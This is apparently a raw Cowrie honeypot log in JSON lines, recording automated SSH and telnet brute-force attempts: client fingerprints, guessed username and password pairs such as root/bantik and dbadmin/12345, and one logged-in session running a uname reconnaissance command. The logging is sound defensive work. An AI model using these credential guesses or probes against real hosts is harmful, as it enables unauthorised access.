{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:41.425842Z","src_ip":"141.11.88.14","session":"0898fbbaaae3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot123","message":"login attempt [bot/bot123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:42.093936Z","src_ip":"141.11.88.14","session":"0898fbbaaae3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:42.340707Z","src_ip":"141.11.88.14","session":"0898fbbaaae3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:42.343801Z","src_ip":"141.11.88.14","session":"0898fbbaaae3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:42.489454Z","src_ip":"141.11.88.14","session":"0898fbbaaae3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:42.493664Z","src_ip":"141.11.88.14","session":"0898fbbaaae3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":58862,"dst_ip":"10.17.0.5","dst_port":22,"session":"16189f796a8d","protocol":"ssh","message":"New connection: 41.86.34.139:58862 (10.17.0.5:22) [session: 16189f796a8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:46.595467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:46.599375Z","src_ip":"41.86.34.139","session":"16189f796a8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:46.807651Z","src_ip":"41.86.34.139","session":"16189f796a8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"client","password":"123456","message":"login attempt [client/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:47.671507Z","src_ip":"41.86.34.139","session":"16189f796a8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":63876,"dst_ip":"10.17.0.5","dst_port":22,"session":"63551623831f","protocol":"ssh","message":"New connection: 141.11.88.14:63876 (10.17.0.5:22) [session: 63551623831f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:47.960249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:48.125701Z","src_ip":"141.11.88.14","session":"63551623831f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:48.130920Z","src_ip":"141.11.88.14","session":"63551623831f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:48.883303Z","src_ip":"41.86.34.139","session":"16189f796a8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"Test@123","message":"login attempt [test/Test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:48.947592Z","src_ip":"141.11.88.14","session":"63551623831f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:50.033219Z","src_ip":"141.11.88.14","session":"63551623831f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":63940,"dst_ip":"10.17.0.5","dst_port":22,"session":"59f3bd1425cf","protocol":"ssh","message":"New connection: 141.11.88.14:63940 (10.17.0.5:22) [session: 59f3bd1425cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:55.551910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:55.657542Z","src_ip":"141.11.88.14","session":"59f3bd1425cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:55.660771Z","src_ip":"141.11.88.14","session":"59f3bd1425cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fa","password":"fa","message":"login attempt [fa/fa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:56.206706Z","src_ip":"141.11.88.14","session":"59f3bd1425cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.5.145.150","src_port":35994,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ce282bd4423","protocol":"ssh","message":"New connection: 197.5.145.150:35994 (10.17.0.5:22) [session: 8ce282bd4423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:57.085947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:57.090321Z","src_ip":"197.5.145.150","session":"8ce282bd4423","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:57.213427Z","src_ip":"197.5.145.150","session":"8ce282bd4423","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:57.331583Z","src_ip":"141.11.88.14","session":"59f3bd1425cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbadmin","password":"12345","message":"login attempt [dbadmin/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:57.731685Z","src_ip":"197.5.145.150","session":"8ce282bd4423","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:58.856731Z","src_ip":"197.5.145.150","session":"8ce282bd4423","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":25276,"dst_ip":"10.17.0.5","dst_port":22,"session":"a32cd71437ae","protocol":"ssh","message":"New connection: 141.11.88.14:25276 (10.17.0.5:22) [session: a32cd71437ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:02.836840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:02.941209Z","src_ip":"141.11.88.14","session":"a32cd71437ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:02.945426Z","src_ip":"141.11.88.14","session":"a32cd71437ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webtest","password":"webtest","message":"login attempt [webtest/webtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:03.909697Z","src_ip":"141.11.88.14","session":"a32cd71437ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":57264,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff8d93eb2e60","protocol":"telnet","message":"New connection: 172.81.62.90:57264 (10.17.0.5:23) [session: ff8d93eb2e60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:04.446475Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:05.225675Z","src_ip":"141.11.88.14","session":"a32cd71437ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":40538,"dst_ip":"10.17.0.5","dst_port":22,"session":"4eb3ca947915","protocol":"ssh","message":"New connection: 46.19.67.181:40538 (10.17.0.5:22) [session: 4eb3ca947915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:05.933486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:05.938396Z","src_ip":"46.19.67.181","session":"4eb3ca947915","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:06.050793Z","src_ip":"46.19.67.181","session":"4eb3ca947915","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bantik","message":"login attempt [root/bantik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:06.390066Z","src_ip":"46.19.67.181","session":"4eb3ca947915","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:07.505419Z","src_ip":"46.19.67.181","session":"4eb3ca947915","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":22686,"dst_ip":"10.17.0.5","dst_port":22,"session":"81d7c0f79d8c","protocol":"ssh","message":"New connection: 141.11.88.14:22686 (10.17.0.5:22) [session: 81d7c0f79d8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:10.061944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:10.573007Z","src_ip":"141.11.88.14","session":"81d7c0f79d8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:10.577508Z","src_ip":"141.11.88.14","session":"81d7c0f79d8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45126,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1bd50feb7ac","protocol":"telnet","message":"New connection: 128.199.8.54:45126 (159.203.135.109:23) [session: f1bd50feb7ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:11.902691Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:11.977756Z","src_ip":"141.11.88.14","session":"81d7c0f79d8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":47636,"dst_ip":"10.17.0.5","dst_port":22,"session":"856177c78c54","protocol":"ssh","message":"New connection: 27.71.230.31:47636 (10.17.0.5:22) [session: 856177c78c54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:12.280817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:07:12.350719Z","src_ip":"27.71.230.31","session":"856177c78c54","protocol":"ssh"}
